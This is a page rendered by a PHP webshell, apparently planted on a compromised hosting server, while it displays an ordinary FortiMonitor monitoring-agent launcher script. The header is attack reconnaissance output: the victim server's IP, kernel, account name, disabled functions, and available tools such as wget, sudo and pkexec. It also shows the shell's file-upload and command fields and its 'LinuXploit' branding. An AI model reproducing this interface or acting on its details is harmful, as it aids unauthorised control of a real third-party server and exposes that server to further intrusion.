403Webshell
Server IP : 68.178.164.50  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux 50.164.178.68.host.secureserver.net 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : rathinambschool ( 1053)
PHP Version : 8.2.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /bin/fm-agent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bin/fm-agent/fm_agent_noroot.py
#!/usr/bin/env python

import getpass
import os
import os.path
import sys

home = os.path.expanduser("~")

ACCEPTABLE_SYNC_DELAY = 20
AGG_URL = "rx.us01.fortimonitor.com"
BASE_CONFIG_DIR = os.path.join(home, "etc")
BASE_CUSTOM_PLUGIN_DIR = os.path.join(home, "share")
BASE_DATA_DIR = os.path.join(home, "lib")
BASE_LOG_DIR = os.path.join(home, "log")
BIN_DIR = os.path.join(home, "bin")
BRAND = "fm"
LIB_DIR = os.path.join(home, "lib")
PKG_DIR = "fm-agent"
STARTUP_TIMEOUT = 2  # In minutes
USER = getpass.getuser()
VERSION = "2026.1.3"

# Add the main dependency directory
sys.path.insert(0, os.path.join(home, "lib/dependencies"))

# Add platform/version-specific dependency directory if present
version = sys.version_info
sys.path.insert(
    0,
    os.path.join(
        home, "lib/dependencies/%s/python%s.%s" % (sys.platform, version[0], version[1])
    ),
)

# Add the main agent code directory
sys.path.insert(0, os.path.join(home, "lib/library"))

from agent import Agent

if __name__ == "__main__":
    agent = Agent(
        BRAND,
        AGG_URL,
        VERSION,
        USER,
        BIN_DIR,
        LIB_DIR,
        PKG_DIR,
        STARTUP_TIMEOUT,
        BASE_CONFIG_DIR,
        BASE_CUSTOM_PLUGIN_DIR,
        BASE_DATA_DIR,
        BASE_LOG_DIR,
        ACCEPTABLE_SYNC_DELAY,
    )
    agent.main()

Youez - 2016 - github.com/yon3zu
LinuXploit